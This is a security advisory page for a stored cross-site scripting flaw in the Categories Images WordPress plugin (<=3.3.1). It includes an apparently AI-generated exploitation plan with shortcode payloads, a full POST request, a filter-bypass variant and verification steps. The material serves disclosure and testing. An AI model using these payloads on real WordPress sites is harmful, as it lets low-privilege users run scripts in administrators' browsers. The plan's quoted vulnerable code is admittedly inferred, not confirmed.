Categories Images <= 3.3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'z_taxonomy_image' Shortcode
Description
The Categories Images plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.3.1, via the 'z_taxonomy_image' shortcode. This is due to the shortcode rendering path passing attacker-controlled class input into a fallback image builder that concatenates HTML attributes without proper escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts that execute when users interact with the injected frontend page via the 'class' shortcode attribute.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:NTechnical Details
<=3.3.1What Changed in the Fix
Changes introduced in v3.3.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2505 ## 1. Vulnerability Summary The **Categories Images** plugin (versions <= 3.3.1) contains a Stored Cross-Site Scripting (XSS) vulnerability via the `[z_taxonomy_image]` shortcode. The vulnerability exists because the plugin's shortcode rendering logic pro…
Show full research plan
Exploitation Research Plan: CVE-2026-2505
1. Vulnerability Summary
The Categories Images plugin (versions <= 3.3.1) contains a Stored Cross-Site Scripting (XSS) vulnerability via the [z_taxonomy_image] shortcode. The vulnerability exists because the plugin's shortcode rendering logic processes the class attribute and passes it into an internal HTML image builder. This builder fails to properly escape the attribute value before concatenating it into an <img> tag. An authenticated user with Contributor permissions or higher can inject a malicious payload into the class attribute of the shortcode within a post or page. When a site visitor (especially an administrator) views the rendered content, the script executes in their browser context.
2. Attack Vector Analysis
- Endpoint: WordPress Post Editor (Gutenberg or Classic) via standard
wp-admin/post-new.phporwp-admin/post.php. - Shortcode:
[z_taxonomy_image] - Vulnerable Parameter:
classattribute within the shortcode. - Authentication Level: Contributor+ (any user capable of creating or editing posts and using shortcodes).
- Preconditions: The plugin must be active. A taxonomy term (like a category) should exist, though the shortcode might attempt to render a placeholder even if the
term_idis invalid.
3. Code Flow
- Registration: In
categories-images.php, thezInit()method registers the shortcode:add_shortcode('z_taxonomy_image', [$this, 'z_taxonomy_image_shortcode']); - Handling: When a post is rendered,
z_taxonomy_image_shortcode($atts)is invoked. - Processing: The shortcode handler extracts attributes, including
class. - Rendering Sink: The handler calls the internal function
z_taxonomy_image()(likely a method in theZCategoriesImagesclass or a global function as indicated intemplates/admin.php). - Vulnerable Concatenation: Inside the "fallback image builder" (invoked when a direct attachment image isn't used or when building custom attributes), the code performs raw concatenation:
// Inferred logic based on vulnerability description: $html = '<img src="' . $image_url . '"'; if (isset($attr['class'])) { $html .= ' class="' . $attr['class'] . '"'; // SINK: No esc_attr() used here } $html .= ' />'; - Output: The unescaped HTML string is returned to the WordPress shortcode API and printed to the page.
4. Nonce Acquisition Strategy
This vulnerability does not require a specific nonce for exploitation. The attack relies on the standard WordPress post creation/editing workflow.
- Contributors have the native capability to save posts containing shortcodes.
- WordPress handles the nonces for post saving (
_wpnoncein thepost.phprequest). - The XSS executes upon viewing the frontend, where no nonce check is performed for shortcode expansion.
5. Exploitation Strategy
Step-by-Step Plan
- Authentication: Log in as a user with the Contributor role.
- Discovery: Identify an existing Category ID (e.g., Category ID 1).
- Payload Injection: Create a new post containing the malicious shortcode.
- Payload:
[z_taxonomy_image term_id="1" class='xss" onmouseover="alert(document.domain)" style="padding:100px;border:5px solid red;" data-xss="'] - Alternative Payload (Breakout):
[z_taxonomy_image class='"><script>alert(1)</script>']
- Payload:
- Submission: Save the post as a draft or submit for review.
- Trigger: Navigate to the post's permalink (or preview it) as an Administrator.
HTTP Request (Contributor creating the post)
POST /wp-admin/post.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Cookie: [Contributor Cookies]
action=editpost&post_ID=[POST_ID]&post_type=post&post_title=XSS+Test&content=[z_taxonomy_image+class%3D'%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E']&_wpnonce=[NONCE]
6. Test Data Setup
- User: Create a user with the
contributorrole. - Category: Ensure at least one category exists. Note its ID (usually
1for 'Uncategorized'). - Plugin Configuration: No specific configuration is required, but ensuring "Excluded Taxonomies" in
Settings > Categories Imagesdoes not includecategoryis important.
7. Expected Results
- The
[z_taxonomy_image]shortcode will be processed by WordPress. - The resulting HTML will contain:
<img ... class=""><script>alert(document.domain)</script>" ...> - When viewing the page, a JavaScript alert box showing the document domain will appear.
8. Verification Steps
- Browser Verification: Use
browser_navigateto the URL of the created post and check for thealertor presence of the injected script in the DOM usingbrowser_eval.browser_eval("document.querySelector('img').outerHTML")
- WP-CLI Verification: Verify the post content was stored correctly:
wp post get [POST_ID] --field=post_content
- Source Inspection: View the page source and search for the string
<script>alert.
9. Alternative Approaches
- Attribute Injection: If
<script>tags are filtered by a WAF, use event handlers:[z_taxonomy_image class='xss" onmouseover="alert(1)"'] - Placeholder Trigger: If no image is assigned to the category, the plugin uses
zci_placeholder(defined in the constructor asassets/images/placeholder.png). This often triggers the "fallback image builder" path, which is specifically mentioned as vulnerable. - Taxonomy List: Check if the
[z_taxonomy_list]shortcode (also overhauled in 3.3.0) shares the same vulnerable rendering logic for its grid/list items.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.